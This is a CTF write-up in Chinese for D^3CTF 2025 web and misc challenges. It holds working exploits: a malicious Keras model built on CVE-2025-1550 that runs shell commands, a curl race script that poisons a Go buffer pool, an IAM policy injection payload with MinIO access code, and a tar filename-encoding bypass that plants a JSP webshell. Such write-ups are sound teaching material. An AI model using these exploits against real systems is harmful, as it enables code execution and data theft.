前言
找不到实习,只能继续打ctf玩玩顺带沉淀了。。
结果过超级端午去了,题没怎么看(
参考:
https://gsbp0.github.io/post/d3ctf2025/
N0wayBack:https://mp.weixin.qq.com/s/n6fr3KkiGQC_POTMZpYikg
S1uM4i:https://mp.weixin.qq.com/s/wBdM2PGM3Alz0j31rU_J0w
Arr3stY0u:https://mp.weixin.qq.com/s/kMbhksbz9lYSW6HvVJ-xwQ
d3model
import keras
from flask import Flask, request, jsonify
import os
def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return open('index.html').read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'error': 'No selected file'}), 400
MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)
if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400
filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)
if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
keras==3.8.0
直接去官方 github 仓库看看漏洞:https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp
有 CVE-2025-1550,漏洞利用:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
触发点在 keras.models.load_model
测试发现不出网,观察 Dockerfile 发现没有权限变动,意味着可以直接写 index.html
import os
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
model_name="1.keras"
x_train = np.random.rand(100, 28*28)
y_train = np.random.rand(100)
model = Sequential([Dense(1, activation='linear', input_dim=28*28)])
model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)
with zipfile.ZipFile(model_name,"r") as f:
config=json.loads(f.read("config.json").decode())
config["config"]["layers"][0]["module"]="keras.models"
config["config"]["layers"][0]["class_name"]="Model"
config["config"]["layers"][0]["config"]={
"name":"mvlttt",
"layers":[
{
"name":"mvlttt",
"class_name":"function",
"config":"Popen",
"module": "subprocess",
"inbound_nodes":[{"args":[["bash","-c","env>/app/index.html"]],"kwargs":{"bufsize":-1}}]
}],
"input_layers":[["mvlttt", 0, 0]],
"output_layers":[["mvlttt", 0, 0]]
}
with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))
os.remove(model_name)
os.rename(f"tmp.{model_name}",model_name)
with zipfile.ZipFile(model_name,"a") as zf:
zf.writestr("config.json",json.dumps(config))
print("[+] Malicious model ready")
上传即可触发
tidy quic
package main
import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
"os"
)
var p pool.BufferPool
var ErrWAF = errors.New("WAF")
func main() {
go func() {
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
go func() {
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
select {}
}
type mux struct {
}
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet {
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
return
}
if r.Method != http.MethodPost {
w.WriteHeader(400)
return
}
var buf []byte
length := int(r.ContentLength)
if length == -1 {
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else {
buf = p.Get(length)
defer p.Put(buf)
rd := textInterrupterWrap(r.Body)
i := 0
for {
n, err := rd.Read(buf[i:])
if err != nil {
if errors.Is(err, io.EOF) {
break
} else if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n
}
}
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
return
}
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
_, _ = w.Write([]byte(os.Getenv("FLAG")))
} else {
_, _ = w.Write(item)
}
}
type wrap struct {
io.ReadCloser
ban []byte
idx int
}
func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
rc, []byte("flag"), 0,
}
}
获取 flag 的方式是传入 I want flag
waf 会拦截 flag
两个参数可控:buf 和 rd,分别对应 Content-Length 和请求体
而问题出在 buf 上,go 的题目特有的先看全局变量 var p pool.BufferPool
,这是一个缓冲池
观察代码,在 http 通信中,如果 Content-Length!=-1
(即没写CL头),则不会调用这个缓冲区来读取数据,反之则会进入分支:
buf = p.Get(length)
defer p.Put(buf)
这里主要在于defer p.Put(buf)
,观察代码上下文也没有对已经写入了body数据的buf缓冲区进行重置清零的操作,而是直接将她放回的缓冲池,这就会导致缓冲池会出现一个被污染的状态,下一次从缓冲池中取出缓冲区也会受到这些数据的影响
那么思路就是通过并发,让缓冲区保留原来的数据,然后让新写入的数据与原先保留在缓冲区的数据进行覆盖与拼接,从而构造 I want flag
注:http2 和 http3 的区别
http2在Content-Length比body实际长度大时,会等待一会儿的输入,来使两者相等,而http3则会更精准的检测出body的实际长度并且在body发送完毕之后迅速的发送结束流,也可以说是quic不会根据http请求包中的Content-Length来界定body的结束
连deepseek都会做(
1. 污染请求触发 WAF 但污染缓冲池
2. 真实请求复用含 "flag" 的缓冲区
3. 前 7 字节被覆盖为 "I want "
4. 后续残留数据包含 "flag" 通过检查
先准备污染请求体
xxxxxxxflag
前 7 个 x 用于等会被覆盖
接下来并发污染请求体,中间打出真实请求覆盖缓冲区
exp.sh
#!/bin/bash
python -c 'print("x"*7 + "flag")' > polluted_data.bin
# 发送污染请求(并行10个)
for i in {1..10}; do
curl -k -X POST https://35.241.98.126:31258 \
-H "Content-Length: 12" \
--data-binary "@polluted_data.bin" \
--http3-only &
done
# 立即发送真实请求
sleep 0.1 # 微小延迟确保污染请求先发出
curl --http3-only -k -X POST https://35.241.98.126:31258 \
-H "Content-Length: 12" \
-d "I want "
d3invitation(复现)
一个 minio oss 端和一个 web 端,猜测 flag 在 oss 端里
web 端接口:
/invitation:生成邀请函
/api/genSTSCreds:传入 object_name ,生成 STS(Security Token Service)凭证 access_key_id、secret_access_key、session_token,用于临时授权客户端直接访问云存储服务中的 object_name 而无需使用永久凭证
/api/putObject:传入上面生成的凭证,往存储桶放 object
/api/getObject:读取桶下的 object
jwt 解一下 session_token
{
"accessKey": "40QBG10RGU7009EIY199",
"exp": 1748798073,
"parent": "B9M320QXHD38WUR2MIY3",
"sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMi5wbmciXX1dfQ=="
}
sessionPolicy,这里是一个 AWS IAM 策略文档
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/2.png"]}]}
可以看到这里指定了授予权限,指向名为 d3invitation
的 S3 存储桶,赋予其中的 2.png 上传下载权限
flag 如果在 oss 中的话,我们就需要想办法伪造权限了
关于云安全的文章:https://forum.butian.net/share/4340
注意到 object_name 这里传入双引号时会返回 failed,说明存在注入,于是可以采用 RAM 策略注入
构造注入语句,赋予上传下载的权限,列出所有桶的权限,列出桶下目录的权限
{"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\",\"s3:ListBucket\",\"s3:ListAllMyBuckets\",\"s3:GetBucketLocation\"],\"Resource\":\"*\"}]}"}
此时的策略为:
{"Version":"2012-10-17",
"Statement":[
{"Effect":"Allow",
"Action":["s3:GetObject","s3:PutObject"],
"Resource":["arn:aws:s3:::d3invitation/*"]
},
{"Effect":"Allow",
"Action":["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],
"Resource":["*"]
}
]
}
然后使用 python 作为客户端连接远程的 minio 服务进行读取
exp:
from minio import Minio
from minio.error import S3Error
sts = {
"access_key_id": "XN3N1HUJTII06D40I1AQ",
"secret_access_key": "ozXdxylZ9gKEhV9r6QUgJ+yaPtRCLZ5DBdjf2bOb",
"session_token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJYTjNOMUhVSlRJSTA2RDQwSTFBUSIsImV4cCI6MTc0ODg2NTczMywicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2tkbGRFSjFZMnRsZEV4dlkyRjBhVzl1SWl3aWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlRHbHpkRUZzYkUxNVFuVmphMlYwY3lJc0luTXpPa3hwYzNSQ2RXTnJaWFFpTENKek16cFFkWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaUtpb2lYWDFkZlE9PSJ9.J2A7Yd4qDoR0dvHo73kmQJfHNZy6yEQ4AWBRJo6M4S7t0YZ9eINpIJ2gCg3Hf1NNEB6sozq2JupO_l8RTgwn_Q"
}
# 配置MinIO客户端
client = Minio(
"35.241.98.126:32749",
access_key=sts["access_key_id"],
secret_key=sts["secret_access_key"],
session_token=sts["session_token"], # 临时会话令牌
secure=False # 设为False如果是HTTP
)
buckets = client.list_buckets()
print("所有桶列表:")
for bucket in buckets:
print(f"- {bucket.name}")
print("\nflag桶的文件:")
try:
objects = client.list_objects("flag")
for obj in objects:
print(f"- {obj.object_name}")
except Exception as e:
print(f"错误: {e}")
print("\n尝试列出d3invitation桶:")
try:
objects = client.list_objects("d3invitation")
for obj in objects:
print(obj.object_name)
except Exception as e:
print(f"错误: {e}") # 将收到Access Denied
try:
# client.fput_object("flag", "report.pdf", "/local/report.pdf")
client.fget_object("flag", "flag", "1.txt")
print("下载完成")
except Exception as e:
print(f"错误: {e}")
d3jtar(复现)
给了个 war 包,直接放在 tomcat 部署就好
如题,重点明显是在这个 jtar-2.3 上,先看 controller
提供了三个路由:
/view
@GetMapping({"/view"}) public ModelAndView view(@RequestParam String page, HttpServletRequest request) { if (page.matches("^[a-zA-Z0-9-]+$")) { String viewPath = "/WEB-INF/views/" + page + ".jsp"; String realPath = request.getServletContext().getRealPath(viewPath); File jspFile = new File(realPath); if (realPath != null && jspFile.exists()) { return new ModelAndView(page); } } ModelAndView mav = new ModelAndView("Error"); mav.addObject("message", "The file don't exist."); return mav; }
只能渲染 jsp 文件
/Upload
@PostMapping({"/Upload"}) @ResponseBody public String UploadController(@RequestParam MultipartFile file) { try { String uploadDir = "webapps/ROOT/WEB-INF/views"; Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar")); String filePath = Upload.secureUpload(file, uploadDir, blackList); return "Upload Success: " + filePath; } catch (Upload.UploadException var5) { return "The file is forbidden: " + var5; } }
上传文件,但是过滤 jsp 后缀,并且上传
/Backup
@PostMapping({"/BackUp"}) @ResponseBody public String BackUpController(@RequestParam String op) { if (Objects.equals(op, "tar")) { try { BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views")); return "Success !"; } catch (IOException var3) { return "Failure : tar Error"; } } else if (Objects.equals(op, "untar")) { try { BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar")); return "Success !"; } catch (IOException var4) { return "Failure : untar Error"; } } else { return "Failure : option Error"; } }
这里会用 jtar 依赖压缩为 tar 或解压 tar 包
先测试上传,我们自己压的 tar 包不支持上传,那么就是裸传一个普通后缀文件,然后在解压缩这里下文章
测试发现,当后缀名为中文 ”测“ 时,此时压缩再解压得到
而压缩包里的文件为
可见这里 tar 压缩时编码出现了差异
那么观察 Backup 类
import org.kamranzafar.jtar.TarEntry;
import org.kamranzafar.jtar.TarInputStream;
import org.kamranzafar.jtar.TarOutputStream;
public static void tarDirectory(Path outputFile, Path inputDirectory, List<String> pathPrefixesToExclude) throws IOException {
FileOutputStream dest = new FileOutputStream(outputFile.toFile());
Path outputFileAbsolute = outputFile.normalize().toAbsolutePath();
Path inputDirectoryAbsolute = inputDirectory.normalize().toAbsolutePath();
int inputPathLength = inputDirectoryAbsolute.toString().length();
TarOutputStream out = new TarOutputStream(new BufferedOutputStream(dest));
Throwable var8 = null;
try {
Files.walk(inputDirectoryAbsolute).forEach((entry) -> {
if (!Files.isDirectory(entry, new LinkOption[0])) {
if (!entry.equals(outputFileAbsolute)) {
try {
String relativeName = entry.toString().substring(inputPathLength + 1);
out.putNextEntry(new TarEntry(entry.toFile(), relativeName));
BufferedInputStream origin = new BufferedInputStream(new FileInputStream(entry.toFile()));
byte[] data = new byte[2048];
int count;
while((count = origin.read(data)) != -1) {
out.write(data, 0, count);
}
out.flush();
origin.close();
} catch (IOException var8) {
var8.printStackTrace();
}
}
}
});
} catch (Throwable var17) {
var8 = var17;
throw var17;
} finally {
if (out != null) {
if (var8 != null) {
try {
out.close();
} catch (Throwable var16) {
var8.addSuppressed(var16);
}
} else {
out.close();
}
}
}
}
跟进 TarOutputStream,调试
进入 writeEntryHeader
此处 outbuf 解码可以得到 296a3be2-ce28-4404-bcd5-0b337a6ebeb6.K,此时就发现问题了
重新跟进 getNameBytes 看看
这里将 char 类型的文件名强转为 byte,会发生什么情况呢
java 中 char 的大小在 \u0000-\uffff 之间,而byte的大小在 (-127)-128 之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符
观察这两个字符的 unicode
测:\u6d4b
K: \u004b
只取了低位的 4b
所以思路就是找到一个中文字符串低位为 jsp 的 unicode
jsp: \u006a\u0073\u0070
浪浳浰: \u6d6a\u6d73\u6d70
再进行压缩与解压,最后访问 /view?page=077ce1c4-4bf3-4fc7-b652-5157d663b8b7&cmd=env
Misc
d3rpg-signin(复现)
与村庄告示牌对话,得到信息:
- 水井需要密码
- 村长家天花板出现漏水现象
- 酒馆提供 DEBUG 麦酒,饮用后可查看寄存器与内存数据
- 每个人最多持有1字节的有符号金钱
进入村长家,和旁边的npc对话,选择 musc 手
得到 flag1: BtM183b19k
村庄内与醉酒老头npc对话,选择”风华正茂“,得到村长家地下室的密钥 md5(password)
与村长家二楼的最后一个箱子交互得到提示:127+1 什么时候等于 -128 呢
进入地下室,酒馆入口在右下角
进入酒馆,购买 255RMB 的 object,由于溢出会获得 1RMB
获得 2 RMB 购买flag2
得到 flag2:M19ScEd
再刷点 RMB 购买 DEBUG 麦酒
使用 DEBUG 麦酒 查看水井的寄存器和内存值,得到如下内容
RAX=0
RBX=329590FAB0
RCX=7FFE9BEC2414
RDX=0
RBP=0
RSP=329590F590
RSI=3295B85000
RDI=1
RIP=7FFE9BE84DDA
[RBP-0x10] 0x00007FF692AE9841
[RBP-0x18] 0x000002025F0A2490
[RBP-0x20] 0x0000007773506D49
[RBP-0x28] 0x11100F0E0D0C0B0A
0x0000007773506D49
可以十六进制解出来 wsPmI,因为是小端序所以水井密码为 ImPsw
得到 flag0:VzNsYz
在村长家二楼,与村长和右起第二个箱子交互获得以下提示:
flag3远在天边,近在眼前
小大小大小大大大=
A. -
B-. . .
C-. -
可知和摩斯密码有关,仔细观察地板
可以发现每一行地板的贴图有两种,一种是半透光的, 一种是完整的
结合摩斯得到:
..-. ...-
--.. -...
-.-- --
.-- --.-
解码得到 FVZBYMWQ
小大代表大小写,于是得到 flag3:fVzByMWQ=
拼接得到完整 flag:VzNsYzBtM183b19kM19ScEdfVzByMWQ=
解码得到 W3lc0m3_7o_d3_RpG_W0r1d
也可以拿 ce 直接改完金币数买 128mb 就行
Mtool 直接翻译取出原文秒了